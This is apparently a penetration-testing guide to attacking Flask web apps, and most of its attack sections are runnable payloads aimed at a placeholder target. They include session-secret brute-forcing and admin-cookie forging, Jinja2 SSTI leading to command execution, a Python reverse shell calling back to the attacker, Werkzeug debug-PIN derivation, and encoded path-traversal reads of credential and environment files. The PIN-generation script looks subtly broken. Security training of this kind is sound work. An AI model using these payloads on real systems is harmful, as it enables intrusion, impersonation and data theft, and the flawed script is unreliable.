- Understanding Flask's Architecture
- Session Cookie Attacks
- Server-Side Template Injection (SSTI)
- Debug Mode Exploitation
- Path Traversal in Flask
- Authorization Bypass
- Complete Testing Workflow
- Tools Reference
Before diving into exploitation, it's important to understand how Flask handles sessions and templates.
Flask uses client-side sessions by default. This means session data is stored in the cookie itself, not on the server. The cookie is signed but not encrypted . This is a critical distinction - an attacker can read the session contents, but cannot modify them without knowing the secret key used for signing.
Session Cookie Structure: [payload].[timestamp].[signature]
Where:
- payload: Base64-encoded session data (potentially zlib compressed)
- timestamp: 31-bit Unix epoch
- signature: HMAC-SHA1 hash of payload + timestamp + secret
The SECRET_KEY in Flask is used for:
- Signing session cookies
- Generating CSRF tokens
- Cryptographic signatures for various extensions
If an attacker discovers this key, they can forge valid session cookies and impersonate any user .
Session cookie attacks follow a three-stage process:
- Capture - Obtain a valid session cookie from the target application
- Decode - View the session contents to understand the data structure
- Forge - Either brute-force the secret key or use a known key to create malicious sessions
Session cookies can be captured using:
- Burp Suite - Intercept HTTP requests and look for the
Cookieheader containingsession= - Browser Developer Tools - Application > Storage > Cookies
- Browser Extensions - EditThisCookie, Cookie-Editor
The default Flask session cookie name is simply "session" .
Because Flask cookies are signed but not encrypted, you can decode them locally to view their contents .
Using Flask-Unsign:
# Basic decode
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
# Auto-fetch from server
flask-unsign --decode --server 'https://target.com/login'The decoded output reveals the session structure. A typical result might look like:
{'logged_in': False, 'user_id': 123, 'role': 'user'}Manual Decoding with Python:
import base64
import zlib
import json
cookie = "eyJsb2dnZWRfaW4iOnRydWUsInVzZXIiOiJhZG1pbiJ9.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8"
payload_part = cookie.split('.')[0]
# Add padding if needed
padding = 4 - (len(payload_part) % 4)
if padding != 4:
payload_part += '=' * padding
decoded = base64.urlsafe_b64decode(payload_part)
# Attempt decompression (sometimes used for large sessions)
try:
decompressed = zlib.decompress(decoded)
print(decompressed.decode('utf-8'))
except:
print(decoded.decode('utf-8'))Once you have a valid session cookie, you can attempt to brute-force the server's secret key. If the secret is weak or default, this will succeed .
flask-unsign --unsign --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' --wordlist /usr/share/wordlists/rockyou.txtCommon weak secret keys to test manually:
secret,secretkey,password,changemedevelopment,devkey,supersecretmysecret,secret123,key
After obtaining the secret key, you can craft your own session data :
flask-unsign --sign --cookie "{'logged_in': True, 'user_id': 1, 'role': 'admin'}" --secret 'CHANGEME'Important: If the target uses an older version of Flask or itsdangerous, you may need the --legacy flag for compatibility with older timestamp generation algorithms .
Scenario: An e-commerce platform used a weak secret key "secretkey123" in production.
Exploitation steps:
- Attacker registers a regular user account and captures the session cookie
- Decodes the cookie to find structure:
{"user_id": "15432", "role": "customer"} - Brute-forces the secret key using flask-unsign (takes 30 seconds with rockyou.txt)
- Creates a new session:
{"user_id": "1", "role": "admin"} - Accesses admin panel and extracts customer PII and credit card data
Impact: 500,000 user records compromised.
SSTI occurs when user input is directly embedded into a template and then rendered by the template engine. Flask uses Jinja2 as its default templating engine. When user input is passed to render_template_string() instead of using properly parameterized templates, an attacker can inject template syntax that gets evaluated on the server .
Vulnerable Code Example:
@app.route('/render', methods=['POST'])
def vulnerable():
user_template = request.form.get('template', '')
# DANGEROUS: User input directly rendered as a template
rendered = render_template_string(user_template)
return render_template('result.html', output=rendered)Safe Code:
@app.route('/render', methods=['POST'])
def safe():
user_input = request.form.get('template', '')
# SAFE: User input passed as context variable, not as template
return render_template('page.html', content=user_input)Step 1: Identify Template Injection Points
Test any input that gets reflected in output, especially:
- Search fields
- URL parameters
- Form inputs
- HTTP headers
- User profile fields
Step 2: Basic Detection Payloads
Start with simple mathematical expressions that the template engine will evaluate :
{{7*7}} # Returns 49 - Confirms Jinja2/Django engine
${7*7} # Returns 49 - Alternative syntax (Twig, Freemarker)
{{7*'7'}} # Returns 7777777 - String multiplication
{{config}} # Returns Flask config - IMMEDIATE HIGH-RISK INDICATORIf {{7*7}} renders as 49 instead of the literal string, SSTI is confirmed .
Step 3: Information Gathering
Once SSTI is confirmed, extract valuable information:
# View application configuration (may contain secrets)
{{config}}
{{config.items()}}
# Examine request details
{{request}}
{{request.environ}}
{{request.headers}}
{{request.cookies}}
# View session data
{{session}}
{{session.items()}}Step 4: Enumerate Available Classes
Jinja2 provides access to Python's object hierarchy. The path to code execution typically follows the inheritance chain :
# Get the string class, then its parent (object), then all subclasses
{{''.__class__.__mro__[1].__subclasses__()}}This returns a list of all Python classes available. Look for subprocess.Popen or os._wrap_close - these allow command execution.
Step 5: Locate the Popen Class
The index of subprocess.Popen varies by Python version:
- Python 3.6: Around index 400-500
- Python 3.8: Around index 500-600
- Python 3.10: Around index 600-700
To find it automatically, use a loop:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'Popen' %}
{{ c('id', shell=True, stdout=-1).communicate() }}
{% endif %}
{% endfor %}Step 6: Execute Commands
Once you have the correct index, execute system commands :
# Replace <index> with the actual position of subprocess.Popen
{{ ''.__class__.__mro__[1].__subclasses__()[<index>]('id', shell=True, stdout=-1).communicate()[0].strip() }}Step 7: Establish a Reverse Shell
For full server access, use a reverse shell payload :
# First, set up listener on your machine
nc -lvnp 4444# Inject this payload through the SSTI vulnerability
{{ ''.__class__.__mro__[1].__subclasses__()[<index>]('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR-IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\' &', shell=True) }}Target: Marketing platform with contact form functionality
Vulnerable endpoint: /email?name=parameter
Exploitation chain:
- Attacker discovers that the
nameparameter is rendered in an email template - Tests with
{{7*7}}- response shows49 - Dumps config with
{{config}}- findsSECRET_KEYexposed - Enumerates subclasses to find Popen at index 458
- Executes
whoamito confirm RCE - Deploys reverse shell using the Python payload
- Accesses internal network and extracts source code
Payout: $15,000
If the application filters certain characters, use these bypasses:
# Bypass underscore filtering using attr()
{{request|attr('__class__')}}
# Bypass dot notation using brackets
{{request['__class__']}}
# Bypass quotes using request parameters
{{request|attr(request.args.x)}}&x=__class__
# Hex encoding for underscores
{{''['\x5f\x5fclass\x5f\x5f']}}Flask applications running with debug=True expose the Werkzeug interactive debugger. This is extremely dangerous in production .
Indicators of debug mode:
- Server header shows
Werkzeugwith version - Error pages include an interactive console button
- The
/consoleendpoint returns HTTP 200 - Exception pages show full stack traces with local variables
Detection command:
curl -I https://target.com/404
# Look for: Server: Werkzeug/2.0.1 Python/3.9.0The Werkzeug debugger is protected by a PIN code. This PIN is generated deterministically from system values :
- Username running the Flask process
- Flask module name (typically "flask.app")
- Application name (typically "Flask")
- Path to Flask's app.py file
- MAC address of a network interface
- Machine ID from
/etc/machine-idor/var/lib/dbus/machine-id
If you have arbitrary file read (through SSTI or path traversal), you can read the files needed to calculate the PIN :
# Read these files through the vulnerability:
/etc/machine-id # System machine ID
/proc/sys/kernel/random/boot_id # Alternative machine ID
/sys/class/net/eth0/address # MAC address
/proc/self/environ # Username and environment
/proc/self/status # Process user IDimport hashlib
from itertools import chain
# Values obtained from file reads
probably_public_bits = [
'www-data', # username
'flask.app', # modname
'Flask', # app name
'/usr/local/lib/python3.8/dist-packages/flask/app.py' # flask path
]
private_bits = [
'2485377892354', # MAC as decimal
'c71bcb2b-2b2b-4b2b-8b2b-2b2b2b2b2b2b' # machine-id
]
def generate_pin(probably_public_bits, private_bits):
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
return f"{num[:3]}-{num[3:6]}-{num[6:9]}"
print(generate_pin(probably_public_bits, private_bits))Converting MAC address to decimal:
mac = "02:42:ac:11:00:02"
decimal_mac = int(mac.replace(':', ''), 16)
print(decimal_mac) # Output: 2485377892354Once you have the PIN, access the console at /console and enter the PIN. You then have full Python execution capability on the server .
Challenge: "Meowy" from Nullcon Goa HackIM 2026
The application had an SSRF vulnerability allowing file reads. The team discovered:
- Debug mode was enabled but restricted to localhost
- They could read
/etc/machine-idand/sys/class/net/eth0/addressvia SSRF - Using these values, they calculated the Werkzeug PIN:
447-653-294 - They used the
gopher://protocol to bypass localhost restrictions and inject a raw HTTP request to/consolewith the calculated PIN - Successfully executed
/readflagto obtain the flag
For automated exploitation, use the wconsole-extractor library :
from wconsole_extractor import WConsoleExtractor
import requests
def leak_file(filename):
# Implement your arbitrary file read
r = requests.get(f"http://target.com/lfi?file={filename}")
return r.text if r.status_code == 200 else ""
extractor = WConsoleExtractor(
target="http://target.com",
leak_function=leak_file
)
print(f"PIN: {extractor.pin_code}")
extractor.shell() # Opens interactive shell on targetFlask applications using send_from_directory() or send_file() without proper path sanitization can be vulnerable to path traversal attacks .
Vulnerable Code Example:
@app.route('/download')
def download():
filename = request.args.get('file')
return send_from_directory('static/files', filename)Test with standard traversal:
curl "https://target.com/download?file=../../../etc/passwd"If filtered, try encoded variants :
# URL encoded dot-dot-slash
curl "https://target.com/download?file=..%2f..%2f..%2fetc%2fpasswd"
# Double URL encoding
curl "https://target.com/download?file=..%252f..%252f..%252fetc%252fpasswd"
# Windows-style separators (even on Linux)
curl "https://target.com/download?file=..%5c..%5c..%5cetc%5cpasswd"Vulnerable application: A Flask app simulating Windows path behavior using ntpath
The vulnerability: The application filtered ../ but not ..\ (backslash). When %5c (URL-encoded backslash) was used, it bypassed the filter.
Exploitation:
# This bypassed the filter and read /etc/passwd
curl http://localhost:8000/%2e%2e%5c%2e%2e%5c%2e%2e%5cetc%5cpasswdFurther exploitation - reading source code:
curl http://localhost:8000/%2e%2e%5c%2e%2e%5capp%5capp.pyExtracting environment variables:
curl -s http://localhost:8000/%2e%2e%5c%2e%2e%5c%2e%2e%5cproc%5cself%5cenviron | tr '\0' '\n'This revealed APP_SECRET=ce9fbd88ac4eec98482b6aaf623adee54060b1ef477c677437a1982fbda0e4ac - the application's secret key.
Impact: Full application compromise, secret key theft, and potential for session forgery.
Flask applications sometimes implement authorization checks only on main routes but forget to protect sub-routes .
Vulnerable Pattern (CVE-2025-55734):
The application checks user role when accessing /admin but not when accessing sub-routes:
# routes/adminPanel.py - HAS check
@admin_bp.route('/admin')
def admin_panel():
if session.get('userRole') != 'admin':
return "Unauthorized", 403
return render_template('admin.html')
# routes/adminPanelPosts.py - MISSING check (VULNERABLE)
@admin_bp.route('/admin/posts')
def admin_posts():
# No role check!
return render_template('posts.html')Simply access the unprotected sub-routes directly:
curl https://target.com/admin/posts
curl https://target.com/admin/comments
curl https://target.com/adminpanel/posts- Map all administrative endpoints by spidering or directory brute-forcing
- Test each endpoint with an unauthenticated or low-privilege session
- Compare responses - if any admin functions are accessible, the vulnerability exists
- Document the inconsistent access control
# Identify Flask application
curl -I https://target.com/ | grep -i "server\|werkzeug"
# Check for debug indicators
curl https://target.com/404 | grep -i "debug\|werkzeug"
# Test for session cookie exposure
curl -c cookies.txt https://target.com/login
cat cookies.txt | grep session# Decode session cookie
flask-unsign --decode --cookie 'session_cookie_here'
# Attempt brute force
flask-unsign --unsign --cookie 'session_cookie' --wordlist wordlist.txt- Identify all input parameters
- Test with
{{7*7}}and watch for49in response - Test with
{{config}}to confirm - Attempt class enumeration and RCE
- Access
/console- note if PIN is required - Use SSTI or path traversal to read:
/etc/machine-id/sys/class/net/eth0/address/proc/self/environ
- Calculate PIN using the script
- Access debug console with PIN
- Execute Python code for RCE
- Map all routes (use dirb, gobuster, or Burp Suite Spider)
- Attempt to access admin endpoints without proper authentication
- Check for inconsistent access control on sub-routes
- Test all file download/upload endpoints
- Use encoded variants of
../and..\ - Attempt to read sensitive files:
/etc/passwd/proc/self/environ/app/app.py(source code)/.env(environment variables)
Purpose-built for Flask session cookie attacks .
# Installation
pip3 install flask-unsign[wordlist]
# Basic operations
flask-unsign --decode --cookie 'cookie_value'
flask-unsign --unsign --cookie 'cookie_value' --wordlist wordlist.txt
flask-unsign --sign --cookie "{'data': 'value'}" --secret 'found_key'
# Legacy mode for older Flask versions
flask-unsign --sign --cookie "{'data': 'value'}" --secret 'key' --legacyBurp Suite is essential for intercepting and manipulating HTTP traffic .
Setup for Flask Testing:
- Set up Burp Proxy to intercept all traffic
- Use Repeater to manually test SSTI payloads
- Use Intruder to brute-force session cookies or fuzz parameters
- Look for session cookies in Proxy > HTTP History
Burp Extensions for Flask:
- SSTImap Burp Plugin - Automates SSTI detection
- Flask-Unsign Integration - Can be called from Burp's Python environment
Automated SSTI detection and exploitation .
# Basic detection
python3 sstimap.py -u "https://target.com/page?name=*"
# POST request testing
python3 sstimap.py -u "https://target.com/" -d "param=*"
# Command execution
python3 sstimap.py -u "https://target.com/?name=*" --os-cmd "id"
# Interactive shell
python3 sstimap.py -u "https://target.com/?name=*" --shellFor endpoint discovery:
# Discover hidden Flask routes
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt
# Look for Flask-specific paths
gobuster dir -u https://target.com -w flask-endpoints.txtAutomated Werkzeug debug console exploitation .
from wconsole_extractor import WConsoleExtractor
extractor = WConsoleExtractor(
target="http://target.com",
leak_function=your_file_read_function
)
print(f"PIN: {extractor.pin_code}")
extractor.shell()| Attack Vector | Test Payload | Success Indicator |
|---|---|---|
| Session Decode | flask-unsign --decode --cookie '...' |
Session data readable |
| Session Forge | flask-unsign --sign --cookie "{'admin':1}" --secret 'key' |
Elevated privileges |
| SSTI Detection | {{7*7}} |
Response shows 49 |
| SSTI Config Leak | {{config}} |
Flask config displayed |
| SSTI RCE | {{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()}} |
Command output |
| Debug Detection | curl /console |
HTTP 200 response |
| PIN Components | Read /etc/machine-id, MAC address, username |
Values for calculation |
| Path Traversal | ../../../../etc/passwd |
File contents returned |
| Path Traversal (encoded) | ..%2f..%2f..%2fetc%2fpasswd |
File contents returned |
For developers securing Flask applications:
- Secret Keys: Use
secrets.token_urlsafe(32)to generate strong keys; never hardcode them - Debug Mode: Never enable
debug=Truein production - Templates: Use
render_template()with context variables, neverrender_template_string()with user input - File Access: Validate and normalize all file paths; use allowlists when possible
- Authorization: Implement access controls consistently on all routes, including sub-routes
- Session Security: Set
SESSION_COOKIE_SECURE=True,SESSION_COOKIE_HTTPONLY=True, andSESSION_COOKIE_SAMESITE='Lax'